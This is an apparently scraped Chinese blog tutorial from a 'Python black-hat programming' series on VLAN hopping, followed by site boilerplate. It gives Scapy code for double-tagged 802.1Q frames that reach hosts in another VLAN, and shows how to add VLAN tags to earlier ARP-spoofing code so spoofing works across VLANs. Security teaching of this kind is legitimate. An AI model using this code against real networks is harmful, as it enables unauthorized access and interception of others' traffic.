Python黑帽编程 3.4 跨越VLAN详解


Posted in Python onSeptember 28, 2016

VLAN(Virtual Local Area Network),是基于以太网交互技术构建的虚拟网络,既可以将同一物理网络划分成多个VALN,也可以跨越物理网络障碍,将不同子网中的用户划到同一个VLAN中。图2是一个VLAN划分的例子。

Python黑帽编程 3.4 跨越VLAN详解

图2

实现VLAN的方式有很多种,基于交换设备的VLAN划分,一般有两种:

l 基于交换机的端口划分

l 基于IEEE 802.1q协议,扩展以太网帧格式

基于第二层的VLAN技术,有个Trunking的概念,Trunking是用来在不同的交换机之间进行连接,以保证在跨越多个交换机上建立的同一个VLAN的成员能够相互通讯。其中交换机之间互联用的端口就称为Trunk端口。除了80.2.1q之外,思科有自己的Trunk协议叫ISL。

Python黑帽编程 3.4 跨越VLAN详解

图3

图3是802.1q的数据包,和普通的以太网帧并没有本质的区别,只是增加一个了VLAN Tag。红色部分的VLAN Identifier标识了一个数据包属于哪个VLAN,从而保证了数据广播的范围不会跨越VLAN。

现在做简单的思考,想要跨越VLAN通信,是不是只要修改数据包中的标识符就可以了呢?

3.4.1 VLAN Hopping

基于上面的分析,我们考虑一个简单的场景:跨VLANping,从Vlan1的一个主机发送一个ping请求到Vlan2中的一个主机。

在具体编码前,我们还是要先解决VLAN数据包构造的问题,在Scapy中我们使用Dot1Q类来构造图3中的Tag部分。如图4。

Python黑帽编程 3.4 跨越VLAN详解

图4

下面我们可以编写一个跨VLAN的ping请求了。

#!/usr/bin/python 
from scapy.all import * 
packet = Ether(dst="c0:d3:de:ad:be:ef") / \
Dot1Q(vlan=1) / \
Dot1Q(vlan=2) / \
IP(dst="192.168.13.3") / \
ICMP() 
sendp(packet)

上面的代码我们指定了目标主机的MAC和IP地址,添加了两个VLAN标识,第一个是发送数据的主机所在的VLAN,第二个是目标主机所在的VLAN。交换机会移除第一个标识,读到第二个标识的时候,会转发该数据包到目标主机。

3.4.2 跨VLAN的ARP欺骗

3.1、3.2和3.3节我们都在讨论ARP欺骗的问题,由于VLAN限制了广播域,我们之前的代码是无法跨VLAN进行ARP欺骗的。不过要解决这个问题也很简单,只需在我们之前构造的ARP欺骗数据中插入VLAN标识即可。下面这段代码是我们在3.1节构造ARP请求数据包的代码。

def build_req():
if options.target is None:
pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0])
elif options.target:
target_mac = getmacbyip(options.target)
if target_mac is None:
print "[-] Error: Could not resolve targets MAC address"
sys.exit(1)
pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)
return pkt

在构造数据包的部分,我们插入VLAN标识:

pkt = Ether(src=mac, dst=target_mac) /Dot1Q(vlan=our_vlan) / Dot1Q(vlan=target_vlan) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)

这样就可以实现跨VLAN的ARP欺骗了。

3.4.3 小结

本节主要讲了如何构造欺骗VLAN的数据包,达到跨VLAN数据通信和ARP欺骗的目的。需要注意的是,本文的方法主要针对802.1Q协议,对以端口进行物理隔离的的VLAN没有效果。

以上所述是小编给大家介绍的Python黑帽编程 3.4 跨越VLAN详解,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对三水点靠木网站的支持!

Python 相关文章推荐
python多线程扫描端口示例
Jan 16 Python
python利用requests库进行接口测试的方法详解
Jul 06 Python
将Django项目部署到CentOs服务器中
Oct 18 Python
修改python plot折线图的坐标轴刻度方法
Dec 13 Python
Python 多维List创建的问题小结
Jan 18 Python
在Qt中正确的设置窗体的背景图片的几种方法总结
Jun 19 Python
python中字符串数组逆序排列方法总结
Jun 23 Python
Python利用神经网络解决非线性回归问题实例详解
Jul 19 Python
Python实现Singleton模式的方式详解
Aug 08 Python
Python Django框架模板渲染功能示例
Nov 08 Python
在python中计算ssim的方法(与Matlab结果一致)
Dec 19 Python
Flask框架搭建虚拟环境的步骤分析
Dec 21 Python
python 采集中文乱码问题的完美解决方法
Sep 27 #Python
20招让你的Python飞起来!
Sep 27 #Python
python搭建虚拟环境的步骤详解
Sep 27 #Python
利用python发送和接收邮件
Sep 27 #Python
实现python版本的按任意键继续/退出
Sep 26 #Python
Linux 下 Python 实现按任意键退出的实现方法
Sep 25 #Python
利用Python为iOS10生成图标和截屏
Sep 24 #Python
You might like
ThinkPHP模板范围判断输出In标签与Range标签用法详解
2014/06/30 PHP
web前端开发也需要日志
2010/12/09 Javascript
Javascript模块化编程(一)AMD规范(规范使用模块)
2013/01/17 Javascript
JS命名空间的另一种实现
2013/08/09 Javascript
JS实现的文字与图片定时切换效果代码
2015/10/06 Javascript
js获取iframe中的window对象的实现方法
2016/05/20 Javascript
微信小程序 参数传递实例代码
2017/03/20 Javascript
JQuery 获取Dom元素的实例讲解
2017/07/08 jQuery
Vue的土著指令和自定义指令实例详解
2018/02/04 Javascript
Vue.js点击切换按钮改变内容的实例讲解
2018/08/22 Javascript
vue 实现在函数中触发路由跳转的示例
2018/09/01 Javascript
Layui 带多选框表格监听事件以及按钮自动点击写法实例
2019/09/02 Javascript
Vue自定义组件的四种方式示例详解
2020/02/28 Javascript
[02:52]DOTA2新手基础教程 米波
2014/01/21 DOTA
从零学python系列之从文件读取和保存数据
2014/05/23 Python
python实现从字符串中找出字符1的位置以及个数的方法
2014/08/25 Python
python进阶教程之文本文件的读取和写入
2014/08/29 Python
用Python从零实现贝叶斯分类器的机器学习的教程
2015/03/31 Python
Python实现批量压缩图片
2018/01/25 Python
python 多维切片之冒号和三个点的用法介绍
2018/04/19 Python
使用pandas的box_plot去除异常值
2019/12/10 Python
css3 box-sizing属性使用参考指南
2013/01/08 HTML / CSS
CSS3 transforms应用于背景图像的解决方法
2019/04/16 HTML / CSS
HTML5上传文件显示进度的实现代码
2012/08/30 HTML / CSS
html5拖曳操作 HTML5实现网页元素的拖放操作
2013/01/02 HTML / CSS
澳大利亚领先的孕妇服装品牌:Mamaway
2018/08/14 全球购物
英国电信商店:BT Shop
2019/12/17 全球购物
实习自我鉴定范文
2013/10/30 职场文书
应届生自荐信
2014/06/30 职场文书
中学生社会实践活动总结
2014/07/03 职场文书
2014年乡镇工作总结
2014/11/21 职场文书
民主生活会汇报材料
2014/12/15 职场文书
2015年教师节感恩寄语
2015/03/23 职场文书
小学生禁毒教育心得体会
2016/01/15 职场文书
2016年保险公众宣传日活动总结
2016/04/05 职场文书
CSS3实现指纹特效代码
2022/03/17 HTML / CSS